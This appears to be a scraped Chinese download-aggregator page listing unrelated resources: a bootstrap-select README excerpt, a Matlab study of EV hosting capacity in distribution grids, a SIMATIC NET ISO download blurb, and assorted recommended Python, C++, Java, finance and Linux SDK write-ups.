源码链接: https://pan.quark.cn/s/c875fcc71b46 bootstrap-select The jQuery plugin that brings select elements into the 21st century with intuitive multiselection, searching, and much more. Now with Bootstrap 5 support. Demo You can view a live demo and some examples of how to use the various options here. Quick start Bootstrap-select requires jQuery v1.9.1+, Bootstrap’s dropdown.js component, and Bootstrap's CSS. If you're not already using Bootstrap in your project, a precompiled version of the Bootstrap v3.4.1 minimum requirements can be downloaded here. If using bootstrap-select with Bootstrap v4+, you'll also need Popper.js. For all of Bootstrap v4's requirements, see Getting started. A precompiled version of the requirements will be...

【静态约束法】配电网电动汽车接入容量评估研究(Matlab代码实现)

【静态约束法】配电网电动汽车接入容量评估研究(Matlab代码实现)

内容概要:本文围绕“静态约束法”在配电网电动汽车接入容量评估中的应用展开研究,通过Matlab代码实现相关建模与仿真,旨在评估配电网对电动汽车的承载能力。研究综合考虑电力系统运行的多项静态约束条件,如节点电压偏差、线路热稳定极限、变压器负载率等,构建科学合理的优化评估模型,系统分析电动汽车规模化接入对配电网电能质量与设备负载的影响,进而定量确定配电网的最大安全接入容量。文中提供了完整的Matlab代码实现流程,涵盖数据输入、模型构建、约束处理与结果可视化,具有较强的可复现性和工程参考价值。; 适合人群:电气工程、电力系统及其自动化等相关专业的研究生、科研人员及从事配电网规划、运行与管理的工程技术人员。; 使用场景及目标:①用于高校和科研机构开展电动汽车与电网互动(V2G)、新型负荷接入影响评估等相关课题的研究;②为电网公司或能源管理部门评估特定区域配电网接纳电动汽车充电负荷的能力提供技术支撑和决策依据;③作为学习和掌握基于Matlab进行电力系统稳态分析、优化建模与仿真编程的优质教学案例。; 阅读建议:建议读者结合文中提供的Matlab代码逐行研读,深入理解静态约束条件的物理意义及其数学建模方法,重点掌握潮流计算与约束校验的实现逻辑,并可通过调整电动汽车接入位置、渗透率及充电功率等参数进行多场景仿真,以全面把握配电网承载力评估的关键技术要点。

SIMATIC-NET-PC-Software-V15-SP1.iso.txt

SIMATIC-NET-PC-Software-V15-SP1.iso.txt

打开链接下载源码: https://pan.quark.cn/s/f57729299250 请访问指定网址获取SIMATIC NET V15 SP1版本的下载资源。完成注册后方可进行文件获取。务必先查阅产品文档中关于安装的注意事项。ISO镜像文件可在本处获取。注册是必要的条件,文件名为SIMATIC_NET_PC_Software_V15_SP1.iso,体积为1.2 GB。自解压存档亦可在本处下载。注册是必要的条件,文件名为SIMATIC_NET_PC_Software_V15_SP1.exe,体积为980.0 MB。

java + Scrimish卡牌游戏

java + Scrimish卡牌游戏

使用Eclipse开发的一个Scrimish游戏,实现了玩家和电脑的对弈功能。 程序代码内有备注,有文档说明,程序通过测试运行成功。

最新推荐最新推荐

recommend-type

python批量截取视频某一帧图片可控制图片大小

用python tkinter开发的一个可以批量截取MP4视频的小工具,有界面可以直接操作(需要python环境)
recommend-type

Python视频编辑库MoviePy的使用

主要介绍了Python视频编辑库MoviePy的使用,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
recommend-type

moviepy:使用Python进行视频编辑

moviepy:使用Python进行视频编辑
recommend-type

python+ffmpeg批量去视频开头的方法

今天小编就为大家分享一篇python+ffmpeg批量去视频开头的方法,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
recommend-type

python进行视频字幕视频和合成

利用讯飞的语音转写api进行转写、movieby模块进行音频截取,FFMPEG进行合并。需要申请讯飞的api,免费有5个小时
recommend-type

学生成绩管理系统C++课程设计与实践

资源摘要信息:"学生成绩信息管理系统-C++(1).doc" 1. 系统需求分析与设计 在进行学生成绩信息管理系统开发前,首先需要进行系统需求分析,这是确定系统开发目标与范围的过程。需求分析应包括数据需求和功能需求两个方面。 - 数据需求分析: - 学生成绩信息:需要收集学生的姓名、学号、课程成绩等数据。 - 数据类型和长度:明确每个数据项的数据类型(如字符串、整型等)和长度,例如学号可能是字符串类型且长度为一定值。 - 描述:详细描述每个数据项的意义,以确保系统能够准确处理。 - 功能需求分析: - 列出功能列表:用户界面应提供清晰的操作指引,列出所有可用功能。 - 查询学生成绩:系统应能通过学号或姓名查询学生的成绩信息。 - 增加学生成绩信息:允许用户添加未保存的学生成绩信息。 - 删除学生成绩信息:能够通过学号或姓名删除已经保存的成绩信息。 - 修改学生成绩信息:通过学号或姓名修改已有的成绩记录。 - 退出程序:提供安全退出程序的选项,并确保所有修改都已保存。 2. 系统设计 系统设计阶段主要完成内存数据结构设计、数据文件设计、代码设计、输入输出设计、用户界面设计和处理过程设计。 - 内存数据结构设计: - 使用链表结构组织内存中的数据,便于动态增删查改操作。 - 数据文件设计: - 选择文本文件存储数据,便于查看和编辑。 - 代码设计: - 根据功能需求,编写相应的函数和模块。 - 输入输出设计: - 设计简洁明了的输入输出提示信息和操作流程。 - 用户界面设计: - 用户界面应为字符界面,方便在命令行环境下使用。 - 处理过程设计: - 设计数据处理流程,确保每个操作都有明确的处理逻辑。 3. 系统实现与测试 实现阶段需要根据设计阶段的成果编写程序代码,并进行系统测试。 - 程序编写: - 完成系统设计中所有功能的程序代码编写。 - 系统测试: - 设计测试用例,通过测试用例上机测试系统。 - 记录测试方法和测试结果,确保系统稳定可靠。 4. 设计报告撰写 最后,根据系统开发的各个阶段,撰写详细的设计报告。 - 系统描述:包括问题说明、数据需求和功能需求。 - 系统设计:详细记录内存数据结构设计、数据文件设计、代码设计、输入/输出设计、用户界面设计、处理过程设计。 - 系统测试:包括测试用例描述、测试方法和测试结果。 - 设计特点、不足、收获和体会:反思整个开发过程,总结经验和教训。 时间安排: - 第19周(7月12日至7月16日)完成项目。 - 7月9日8:00到计算机学院实验中心(三楼)提交程序和课程设计报告。 指导教师和系主任(或责任教师)需要在文档上签名确认。 系统需求分析: - 使用表格记录系统需求分析的结果,包括数据项、数据类型、数据长度和描述。 - 分析数据项如学生成绩信息、状态器、链表节点等,确定其属性和行为。 以上就是文档中提到的学生成绩信息管理系统开发的关键知识点。开发此类系统需要熟练掌握C++编程基础,了解面向对象的程序设计思想,以及熟悉文件操作和链表等数据结构的应用。此外,良好的软件开发流程意识、测试意识和文档撰写能力也是必不可少的。
recommend-type

别再手动拖拽了!用Lumerical脚本批量创建FDTD仿真结构(附完整代码)

# 告别低效建模:Lumerical脚本自动化实战指南 在光子学仿真领域,时间就是科研生命线。当同行还在GUI界面里反复点击菜单时,你已经用脚本批量生成了20组参数化结构——这不是未来场景,而是每位FDTD用户都应该掌握的基础生产力革命。本文将彻底改变你与Lumerical的交互方式,从手动拖拽的农耕时代,跃迁到自动化建模的工业文明。 ## 1. 为何脚本建模是必然选择 2019年Nature Photonics的一项研究显示,科研工作者在仿真工具上平均浪费37%的时间在重复性操作上。对于需要参数扫描的纳米光学结构设计,这个数字可能更高。手动创建10个不同尺寸的纳米柱阵列意味着: -
recommend-type

Java邮件解析任务中,如何安全高效地提取HTML邮件内容并避免硬编码、资源泄漏和类型转换异常?

<think>我们被要求优化一段Java代码,该代码用于处理邮件(特别是来自特定发件人的构建通知邮件)。代码的主要问题包括: 1. 重复获取邮件内容:在检查MIME类型后,多次调用`msg[i].getContent()`,这可能导致性能问题或流关闭异常。 2. 类型转换问题:直接将邮件内容转换为`Multipart`而不进行类型检查,可能引发`ClassCastException`。 3. 代码结构问题:逻辑嵌套过深,可读性差,且存在重复代码(如插入邮件详情的操作在两个地方都有)。 4. 硬编码和魔法值:例如在解析HTML表格时使用了硬编码的索引(如list3.get(10)),这容易因邮件
recommend-type

RH公司应收账款管理优化策略研究

资源摘要信息:"本文针对RH公司的应收账款管理问题进行了深入研究,并提出了改进策略。文章首先分析了应收账款在企业管理中的重要性,指出其对于提高企业竞争力、扩大销售和充分利用生产能力的作用。然后,以RH公司为例,探讨了公司应收账款管理的现状,并识别出合同管理、客户信用调查等方面的不足。在此基础上,文章提出了一系列改善措施,包括完善信用政策、改进业务流程、加强信用调查和提高账款回收力度。特别强调了建立专门的应收账款回收部门和流程的重要性,并建议在实际应用过程中进行持续优化。同时,文章也意识到企业面临复杂多变的内外部环境,因此提出的策略需要根据具体情况调整和优化。 针对财务管理领域的专业学生和从业者,本文提供了一个关于应收账款管理问题的案例研究,具有实际指导意义。文章还探讨了信用管理和征信体系在应收账款管理中的作用,强调了它们对于提升企业信用风险控制和市场竞争能力的重要性。通过对比国内外企业在应收账款管理上的差异,文章总结了适合中国企业实际环境的应收账款管理方法和策略。" 根据提供的文件内容,以下是详细的知识点: 1. 应收账款管理的重要性:应收账款作为企业的一项重要资产,其有效管理关系到企业的现金流、财务健康以及市场竞争力。不良的应收账款管理会导致资金链断裂、坏账损失增加等问题,严重影响企业的正常运营和长远发展。 2. 应收账款的信用风险:在信用交易日益频繁的商业环境中,企业必须对客户信用进行评估,以便采取合理的信用政策,降低信用风险。 3. 合同管理的薄弱环节:合同是应收账款管理的法律基础,严格的合同管理能够保障企业权益,减少因合同问题导致的应收账款风险。 4. 客户信用调查:了解客户的信用状况对于预测和控制应收账款风险至关重要。企业需要建立有效的客户信用调查机制,识别和筛选信用良好的客户。 5. 应收账款回收策略:企业应建立有效的账款回收机制,包括定期的账款跟进、逾期账款的催收等。同时,建立专门的应收账款回收部门可以提升回收效率。 6. 应收账款管理流程优化:通过改进企业内部管理流程,如简化审批流程、提高工作效率等措施,能够提升应收账款的管理效率。 7. 应收账款管理策略的调整和优化:由于企业的内外部环境复杂多变,因此制定的管理策略需要根据实际情况进行动态调整和持续优化。 8. 信用管理和征信体系的作用:建立和完善企业内部信用管理体系和征信体系,有助于企业更好地控制信用风险,并在市场竞争中占据有利地位。 9. 对比国内外应收账款管理实践:通过研究国内外企业在应收账款管理上的不同做法和经验,可以借鉴先进的管理理念和方法,提升国内企业的应收账款管理水平。 综上所述,本文深入探讨了应收账款管理的多个方面,为RH公司乃至其他同类型企业提供了应收账款管理的改进方向和策略,对于财务管理专业的教育和实践都具有重要的参考价值。
recommend-type

新手别慌!用BingPi-M2开发板带你5分钟搞懂Tina Linux SDK目录结构

# 新手别慌!用BingPi-M2开发板带你5分钟搞懂Tina Linux SDK目录结构 第一次拿到BingPi-M2开发板时,面对Tina Linux SDK里密密麻麻的文件夹,我完全不知道从哪下手。就像走进一个陌生的大仓库,每个货架上都堆满了工具和零件,却找不到操作手册。这种困惑持续了整整两天,直到我意识到——理解目录结构比死记硬背每个文件更重要。 ## 1. 为什么SDK目录结构如此重要 想象你正在组装一台复杂的模型飞机。如果所有零件都混在一个箱子里,你需要花大量时间寻找每个螺丝和面板。但如果有分门别类的隔层,标注着"机身部件"、"电子设备"、"紧固件",组装效率会成倍提升。Ti